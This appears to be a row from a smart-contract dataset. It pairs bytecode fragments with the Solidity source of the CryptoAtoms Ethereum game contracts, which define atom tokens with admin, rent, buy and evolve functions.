8c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207294fd634c28eddc2be7f5dac5908b155a5d22c7852c25993be2abd284690d7b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,059
0x5314dd28de3f215647b64ccb3701e6098a80d080
pragma solidity ^0.4.19; contract ADM312 { address public COO; address public CTO; address public CFO; address private coreAddress; address public logicAddress; address public superAddress; modifier onlyAdmin() { require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO); _; } modifier onlyContract() { require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress); _; } modifier onlyContractAdmin() { require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO); _; } function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin { if(msg.sender == COO) { CTO = _newAdminAddress1; CFO = _newAdminAddress2; } if(msg.sender == CTO) { COO = _newAdminAddress1; CFO = _newAdminAddress2; } if(msg.sender == CFO) { COO = _newAdminAddress1; CTO = _newAdminAddress2; } } function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin { coreAddress = _newCoreAddress; logicAddress = _newLogicAddress; superAddress = _newSuperAddress; SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress); SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress); } } contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } contract SetCoreInterface { function setCoreContract(address _neWCoreAddress) external; } contract CaData is ADM312, ERC721 { function CaData() public { COO = msg.sender; CTO = msg.sender; CFO = msg.sender; createCustomAtom(0,0,4,0,0,0,0); } function kill() external { require(msg.sender == COO); selfdestruct(msg.sender); } function() public payable{} uint public randNonce = 0; struct Atom { uint64 dna; uint8 gen; uint8 lev; uint8 cool; uint32 sons; uint64 fath; uint64 moth; uint128 isRent; uint128 isBuy; uint32 isReady; } Atom[] public atoms; mapping (uint64 => bool) public dnaExist; mapping (address => bool) public bonusReceived; mapping (address => uint) public ownerAtomsCount; mapping (uint => address) public atomOwner; event NewWithdraw(address sender, uint balance); function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin { require(dnaExist[_dna]==false && _cool+_lev>=4); Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady); uint id = atoms.push(newAtom) - 1; atomOwner[id] = msg.sender; ownerAtomsCount[msg.sender]++; dnaExist[_dna] = true; } function withdrawBalance() public payable onlyAdmin { NewWithdraw(msg.sender, address(this).balance); CFO.transfer(address(this).balance); } function incRandNonce() external onlyContract { randNonce++; } function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin { dnaExist[_dna] = _newDnaLocking; } function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin { bonusReceived[_add] = _newBonusLocking; } function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract { ownerAtomsCount[_owner] = _newCount; } function setAtomOwner(uint _atomId, address _owner) external onlyContract { atomOwner[_atomId] = _owner; } function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) { Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady); id = atoms.push(newAtom) -1; } function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin { atoms[_atomId].dna = _dna; } function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin { atoms[_atomId].gen = _gen; } function setAtomLev(uint _atomId, uint8 _lev) external onlyContract { atoms[_atomId].lev = _lev; } function setAtomCool(uint _atomId, uint8 _cool) external onlyContract { atoms[_atomId].cool = _cool; } function setAtomSons(uint _atomId, uint32 _sons) external onlyContract { atoms[_atomId].sons = _sons; } function setAtomFath(uint _atomId, uint64 _fath) external onlyContract { atoms[_atomId].fath = _fath; } function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract { atoms[_atomId].moth = _moth; } function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract { atoms[_atomId].isRent = _isRent; } function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract { atoms[_atomId].isBuy = _isBuy; } function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin { atoms[_atomId].isReady = _isReady; } //ERC721 mapping (uint => address) tokenApprovals; function totalSupply() public view returns (uint256 total){ return atoms.length; } function balanceOf(address _owner) public view returns (uint256 balance) { return ownerAtomsCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address owner) { return atomOwner[_tokenId]; } function _transfer(address _from, address _to, uint256 _tokenId) private { atoms[_tokenId].isBuy = 0; atoms[_tokenId].isRent = 0; ownerAtomsCount[_to]++; ownerAtomsCount[_from]--; atomOwner[_tokenId] = _to; Transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public { require(msg.sender == atomOwner[_tokenId]); _transfer(msg.sender, _to, _tokenId); } function approve(address _to, uint256 _tokenId) public { require(msg.sender == atomOwner[_tokenId]); tokenApprovals[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function takeOwnership(uint256 _tokenId) public { require(tokenApprovals[_tokenId] == msg.sender); _transfer(ownerOf(_tokenId), msg.sender, _tokenId); } } contract CaCoreInterface { function createCombinedAtom(uint, uint) external returns (uint); function createRandomAtom() external returns (uint); } contract CryptoAtomsLogic{ address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5; CaData public CaDataContract = CaData(CaDataAddress); CaCoreInterface private CaCoreContract; bool public pauseMode = false; bool public bonusMode = true; uint128 public newAtomFee = 1 finney; uint8[4] public levelupValues = [0, 2, 6, 12]; event NewSetRent(address sender, uint atom); event NewSetBuy(address sender, uint atom); event NewUnsetRent(address sender, uint atom); event NewUnsetBuy(address sender, uint atom); event NewAutoRentAtom(address sender, uint atom); event NewRentAtom(address sender, uint atom, address receiver, uint amount); event NewBuyAtom(address sender, uint atom, address receiver, uint amount); event NewEvolveAtom(address sender, uint atom); event NewBonusAtom(address sender, uint atom); function() public payable{} function kill() external { require(msg.sender == CaDataContract.CTO()); selfdestruct(msg.sender); } modifier onlyAdmin() { require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CFO() || msg.sender == CaDataContract.CTO()); _; } modifier onlyActive() { require(pauseMode == false); _; } modifier onlyOwnerOf(uint _atomId, bool _flag) { require((msg.sender == CaDataContract.atomOwner(_atomId)) == _flag); _; } modifier onlyRenting(uint _atomId, bool _flag) { uint128 isRent; (,,,,,,,isRent,,) = CaDataContract.atoms(_atomId); require((isRent > 0) == _flag); _; } modifier onlyBuying(uint _atomId, bool _flag) { uint128 isBuy; (,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId); require((isBuy > 0) == _flag); _; } modifier onlyReady(uint _atomId) { uint32 isReady; (,,,,,,,,,isReady) = CaDataContract.atoms(_atomId); require(isReady <= now); _; } modifier beDifferent(uint _atomId1, uint _atomId2) { require(_atomId1 != _atomId2); _; } function setCoreContract(address _neWCoreAddress) external { require(msg.sender == CaDataAddress); CaCoreContract = CaCoreInterface(_neWCoreAddress); } function setPauseMode(bool _newPauseMode) external onlyAdmin { pauseMode = _newPauseMode; } function setGiftMode(bool _newBonusMode) external onlyAdmin { bonusMode = _newBonusMode; } function setFee(uint128 _newFee) external onlyAdmin { newAtomFee = _newFee; } function setLevelup(uint8[4] _newLevelup) external onlyAdmin { levelupValues = _newLevelup; } function setIsRentByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyRenting(_atomId, false) onlyReady(_atomId) { require(_fee > 0); CaDataContract.setAtomIsRent(_atomId,_fee); NewSetRent(msg.sender,_atomId); } function setIsBuyByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyBuying(_atomId, false){ require(_fee > 0); CaDataContract.setAtomIsBuy(_atomId,_fee); NewSetBuy(msg.sender,_atomId); } function unsetIsRentByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyRenting(_atomId, true){ CaDataContract.setAtomIsRent(_atomId,0); NewUnsetRent(msg.sender,_atomId); } function unsetIsBuyByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyBuying(_atomId, true){ CaDataContract.setAtomIsBuy(_atomId,0); NewUnsetBuy(msg.sender,_atomId); } function autoRentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_atomId, true) onlyOwnerOf(_ownedId,true) onlyReady(_atomId) onlyReady(_ownedId) { require(newAtomFee == msg.value); CaDataAddress.transfer(newAtomFee); uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId); NewAutoRentAtom(msg.sender,id); } function rentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_ownedId, true) onlyRenting(_atomId, true) onlyReady(_ownedId) { address owner = CaDataContract.atomOwner(_atomId); uint128 isRent; (,,,,,,,isRent,,) = CaDataContract.atoms(_atomId); require(isRent + newAtomFee == msg.value); owner.transfer(isRent); CaDataAddress.transfer(newAtomFee); uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId); NewRentAtom(msg.sender,id,owner,isRent); } function buyByAtom(uint _atomId) external payable onlyActive onlyOwnerOf(_atomId, false) onlyBuying(_atomId, true) { address owner = CaDataContract.atomOwner(_atomId); uint128 isBuy; (,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId); require(isBuy == msg.value); owner.transfer(isBuy); CaDataContract.setAtomIsBuy(_atomId,0); CaDataContract.setAtomIsRent(_atomId,0); CaDataContract.setOwnerAtomsCount(msg.sender,CaDataContract.ownerAtomsCount(msg.sender)+1); CaDataContract.setOwnerAtomsCount(owner,CaDataContract.ownerAtomsCount(owner)-1); CaDataContract.setAtomOwner(_atomId,msg.sender); NewBuyAtom(msg.sender,_atomId,owner,isBuy); } function evolveByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) { uint8 lev; uint8 cool; uint32 sons; (,,lev,cool,sons,,,,,) = CaDataContract.atoms(_atomId); require(lev < 4 && sons >= levelupValues[lev]); CaDataContract.setAtomLev(_atomId,lev+1); CaDataContract.setAtomCool(_atomId,cool-1); NewEvolveAtom(msg.sender,_atomId); } function receiveBonus() onlyActive external { require(bonusMode == true && CaDataContract.bonusReceived(msg.sender) == false); CaDataContract.setBonusReceived(msg.sender,true); uint id = CaCoreContract.createRandomAtom(); NewBonusAtom(msg.sender,id); } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630e47c2591461011f578063229b04bf1461014c578063305074511461017b5780633154d790146101925780633687f24a146101bc57806339e65b46146101fb578063415c75931461024457806341c0e1b51461026e57806342bd0959146102855780634a574d18146102ce5780636432e3cd146102fd578063703f5e8a14610354578063b79ec028146103ab578063bee4bbeb146103d8578063c626669314610405578063d12892e414610448578063e47ca0cc14610477578063eab2d378146104be578063edc48941146104ed578063fa314c671461050d578063fa8ad6b91461055c575b005b34801561012b57600080fd5b5061014a60048036038101908080359060200190929190505050610589565b005b34801561015857600080fd5b50610161610a48565b604051808215151515815260200191505060405180910390f35b34801561018757600080fd5b50610190610a5b565b005b6101ba6004803603810190808035906020019092919080359060200190929190505050610dba565b005b3480156101c857600080fd5b506101f960048036038101908080356fffffffffffffffffffffffffffffffff169060200190929190505050611703565b005b34801561020757600080fd5b506102426004803603810190808035906020019092919080356fffffffffffffffffffffffffffffffff169060200190929190505050611a25565b005b61026c6004803603810190808035906020019092919080359060200190929190505050611fc6565b005b34801561027a57600080fd5b50610283612730565b005b34801561029157600080fd5b506102cc6004803603810190808035906020019092919080356fffffffffffffffffffffffffffffffff169060200190929190505050612843565b005b3480156102da57600080fd5b506102e3612c69565b604051808215151515815260200191505060405180910390f35b34801561030957600080fd5b50610312612c7c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036057600080fd5b50610369612ca2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b757600080fd5b506103d660048036038101908080608001909192919290505050612cc7565b005b3480156103e457600080fd5b5061040360048036038101908080359060200190929190505050612fc2565b005b34801561041157600080fd5b50610446600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133b6565b005b34801561045457600080fd5b50610475600480360381019080803515159060200190929190505050613455565b005b34801561048357600080fd5b506104a260048036038101908080359060200190929190505050613758565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104ca57600080fd5b506104eb600480360381019080803515159060200190929190505050613781565b005b61050b60048036038101908080359060200190929190505050613a84565b005b34801561051957600080fd5b506105226146c0565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056857600080fd5b50610587600480360381019080803590602001909291905050506146e2565b005b6000806000801515600260149054906101000a900460ff1615151415156105af57600080fd5b836001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561064657600080fd5b505af115801561065a573d6000803e3d6000fd5b505050506040513d602081101561067057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151415156106bd57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561074f57600080fd5b505af1158015610763573d6000803e3d6000fd5b505050506040513d61014081101561077a57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293509091925090915090505080955081965082975050505060048560ff16108015610856575060048560ff1660048110151561083357fe5b602091828204019190069054906101000a900460ff1660ff168363ffffffff1610155b151561086157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632630d97d87600188016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff16815260200192505050600060405180830381600087803b15801561090357600080fd5b505af1158015610917573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eda8669e87600187036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff16815260200192505050600060405180830381600087803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b505050507fe5520077d3d24ee27b5f26122d839e7bbdbecefcac227087f3728a4ed11e078c3387604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b600260149054906101000a900460ff1681565b6000801515600260149054906101000a900460ff161515141515610a7e57600080fd5b60011515600260159054906101000a900460ff161515148015610b9c575060001515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166363f44d1e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610b5d57600080fd5b505af1158015610b71573d6000803e3d6000fd5b505050506040513d6020811015610b8757600080fd5b81019080805190602001909291905050501515145b1515610ba757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b766b5623360016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b158015610c7157600080fd5b505af1158015610c85573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aa17973c6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b810190808051906020019092919050505090507fda0adaa8dfeb4052820b529451b61cfe96665f75b1ee637b7329007b702500553382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000806000801515600260149054906101000a900460ff161515141515610de057600080fd5b8484808214151515610df157600080fd5b856001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015610e8857600080fd5b505af1158015610e9c573d6000803e3d6000fd5b505050506040513d6020811015610eb257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515141515610eff57600080fd5b8860016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015610f9657600080fd5b505af1158015610faa573d6000803e3d6000fd5b505050506040513d610140811015610fc157600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff1611151514151561108b57600080fd5b8a6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561112057600080fd5b505af1158015611134573d6000803e3d6000fd5b505050506040513d61014081101561114b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561120557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f8f6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561129657600080fd5b505af11580156112aa573d6000803e3d6000fd5b505050506040513d60208110156112c057600080fd5b81019080805190602001909291905050509b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e8f6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561136557600080fd5b505af1158015611379573d6000803e3d6000fd5b505050506040513d61014081101561139057600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809b505034600360009054906101000a90046fffffffffffffffffffffffffffffffff168c016fffffffffffffffffffffffffffffffff1614151561147357600080fd5b8b73ffffffffffffffffffffffffffffffffffffffff166108fc8c6fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f193505050501580156114cb573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015611563573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a94857dc8f8f6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1580156115fd57600080fd5b505af1158015611611573d6000803e3d6000fd5b505050506040513d602081101561162757600080fd5b810190808051906020019092919050505099507f766f150b7c725aaec5aa24efd3fb6e1809dbed9d3f18121b896df8660e1491a1338b8e8e604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a15050505050505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561178957600080fd5b505af115801561179d573d6000803e3d6000fd5b505050506040513d60208110156117b357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118e85750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561187e57600080fd5b505af1158015611892573d6000803e3d6000fd5b505050506040513d60208110156118a857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806119de5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561197457600080fd5b505af1158015611988573d6000803e3d6000fd5b505050506040513d602081101561199e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156119e957600080fd5b80600360006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555050565b60001515600260149054906101000a900460ff161515141515611a4757600080fd5b816001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015611ade57600080fd5b505af1158015611af2573d6000803e3d6000fd5b505050506040513d6020811015611b0857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515141515611b5557600080fd5b83600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015611beb57600080fd5b505af1158015611bff573d6000803e3d6000fd5b505050506040513d610140811015611c1657600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515611ce057600080fd5b866000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015611d7557600080fd5b505af1158015611d89573d6000803e3d6000fd5b505050506040513d610140811015611da057600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff1611151515611e5a57600080fd5b6000886fffffffffffffffffffffffffffffffff16111515611e7b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688a8a6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015611f3857600080fd5b505af1158015611f4c573d6000803e3d6000fd5b50505050